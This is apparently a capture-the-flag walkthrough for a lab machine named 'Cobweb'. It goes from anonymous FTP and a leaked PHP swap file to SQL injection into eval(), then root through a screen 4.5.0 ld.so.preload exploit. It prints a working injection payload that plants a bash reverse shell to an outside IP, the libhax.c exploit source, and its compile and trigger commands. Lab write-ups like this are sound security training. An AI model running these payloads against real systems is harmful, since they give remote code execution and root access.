Cobweb
Hard.
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 -Pn 192.168.157.162
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 14:41 +08
Nmap scan report for 192.168.157.162
Host is up (0.18s latency).
Not shown: 65483 filtered tcp ports (no-response), 47 filtered tcp ports (host-unreach)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
9090/tcp closed zeus-adminQuite a few ports open.
FTP -> access.log
We can check whether FTP accepts anonymous logins, which it does!
$ ftp 192.168.157.162
Connected to 192.168.157.162.
220 (vsFTPd 3.0.3)
Name (192.168.157.162:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||32481|)
ftp: Can't connect to `192.168.157.162:32481': No route to host
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 54 Aug 27 2021 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r-- 1 501 20 955 Aug 27 2021 access.log
-rw-r--r-- 1 501 20 530 Aug 27 2021 auth.log
-rw-r--r-- 1 501 20 176 Aug 27 2021 syslogWe can download the log files and view them. access.log reveals a hidden file on one of the web applications:
$ cat access.log
<TRUNCATED>
192.168.118.5 - - [27/Aug/2021:08:47:04 -0400] "GET /.index.php.swp HTTP/1.1" 200 5422 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
<TRUNCATED>The other files weren't so interesting.
Source Code Review -> Eval + SQL Injection
Port 80 reveals a standard login:
We can view the found found earlier to find PHP source code:
## curl http://192.168.157.162/.index.php.swp
<?php
http_response_code(200);
function get_page($conn, $route_string){
$sql = "SELECT page_data FROM webpages WHERE route_string = \"" . $route_string . "\";";
//echo "<!-- " . $sql . " -->";
if(mysqli_multi_query($conn, $sql)){
$results = mysqli_use_result($conn);
$first_row = mysqli_fetch_row($results);
echo mysqli_error($conn);
return($first_row[0]);
}else{
http_response_code(404);
echo mysqli_error($conn);
return("");
}
}
define("included", true);
include "config.php";
$conn = mysqli_connect($db_server, $db_username, $db_password, $db_database);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if(isset($_SERVER['REDIRECT_URL'])){
$route_string = $_SERVER['REDIRECT_URL'];
eval(get_page($conn, $route_string));
}else{
eval(get_page($conn, "/"));
}
mysqli_close($conn);
?>We can see that there's an SQL Injection within the get_page function. The redirect_url is taken as the $route_string variable. If we attempt basic injection, it redirects us to phpinfo.php:
Within this, we can see that there are no disabled functions, and that the document root is at /var/www/html:
I attempted to write some files, but it fails:
So writing webshells won't work. When I looked at the code again, I saw that it was using eval() after the get_page function returns. This means that if we can somehow make the function return PHP code, it would be executed in eval().
We know that the database is called webpages, and that there are 2 columns in it called page_data and route_string. Using this knowledge, let's try INSERT INTO to get RCE.
I tried creating a new directory with one PHP payload on it:
";INSERT INTO webpages(route_string, page_data) VALUES ('/rev', 'echo shell_exec("bash -i >& /dev/tcp/192.168.45.227/80 0>&1");'); --
## after URL encoding
%22%3BINSERT%20INTO%20webpages%28route_string%2C%20page_data%29%20VALUES%20%28%27%2Frev%27%2C%20%27echo%20shell_exec%28%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F80%200%3E%261%22%29%3B%27%29%3B%20--Then visit index.php with that payload and visit /rev.
$ curl http://192.168.157.162/%22%3BINSERT%20INTO%20webpages%28route_string%2C%20page_data%29%20VALUES%20%28%27%2Frev%27%2C%20%27echo%20shell_exec%28%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F80%200%3E%261%22%29%3B%27%29%3B%20--
$ curl http://192.168.157.162/revWe would then get a reverse shell:
Privilege Escalation
Upgrade Shell
I used script to upgrade the shell:
script /dev/null -c bash
Ctrl + Z
stty raw -echo;fg
Screen Capabilities -> Root
We can run bash linpeas.sh to enumerate for us. It didn't reveal anything obvious besides this SUID binary:
-rwsr-xr-x. 1 root root 1.7M Aug 27 2021 /usr/bin/screen-4.5.0This version of screen is exploitable:
However, when we run the exploit in /dev/shm and /tmp, it doesn't work:
bash: /dev/shm/rootshell: Permission denied
bash-4.4$ ls -la /dev/shm
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/dev/shm/libhax.so' from /etc/ld.so.preload cannot be preloaded (failed to map segment from shared object): ignored.
total 32
drwxrwxrwt 2 root root 80 Jul 14 03:38 .
drwxr-xr-x 19 root root 3020 Jul 14 03:33 ..
-rwxrwxrwx 1 apache apache 15528 Jul 14 03:38 libhax.so
-rwxrwxrwx 1 apache apache 16168 Jul 14 03:37 rootshellWe are being denied permission despite the permissions being correct and doing the exploit correctly. I googled the problem and found this:
So as I learned, directories themselves have capabilities, and nosuid can be one of them preventing us from running setuid functions even if we have the right exploit. We can find other writeable directories:
bash-4.4$ find / -type d -writable -exec ls -adl {} \; 2>/dev/null
drwxrwxrwt 2 root root 40 Feb 17 16:21 /dev/mqueue
drwxrwxrwt 2 root root 40 Feb 17 16:21 /dev/shm
dr-x------ 2 apache apache 0 Jul 14 03:48 /proc/2219/task/2219/fd
dr-x------ 2 apache apache 0 Jul 14 03:48 /proc/2219/fd
dr-x------ 2 apache apache 0 Jul 14 03:48 /proc/2219/map_files
drwxrwx---. 2 root apache 6 May 6 2020 /var/lib/php/opcache
drwxrwx---. 2 root apache 6 May 6 2020 /var/lib/php/session
drwxrwx---. 2 root apache 6 May 6 2020 /var/lib/php/wsdlcache
drwx------. 2 apache apache 6 May 20 2021 /var/lib/dav
drwx------. 2 apache apache 6 May 20 2021 /var/lib/httpd
drwxrwx---. 2 apache root 23 Jan 29 02:41 /var/log/php-fpm
drwx------. 3 apache apache 19 Aug 27 2021 /var/cache/httpd
drwx------. 2 apache apache 6 May 20 2021 /var/cache/httpd/proxy
drwxrwxrwt 2 root root 6 Feb 17 16:22 /var/tmp
drwxrwxrwt 2 root root 40 Feb 17 16:22 /tmpI used /var/lib/php/session, and it worked properly. Replace the directories within libhax.c:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/var/lib/php/session/rootshell", 0, 0);
chmod("/var/lib/php/session/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}Then, compile both exploits and transfer them to the machine:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.cGo to the /etc directory and run these:
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/var/lib/php/session/libhax.so"
/var/lib/php/session/rootshell
Rooted!
Last updated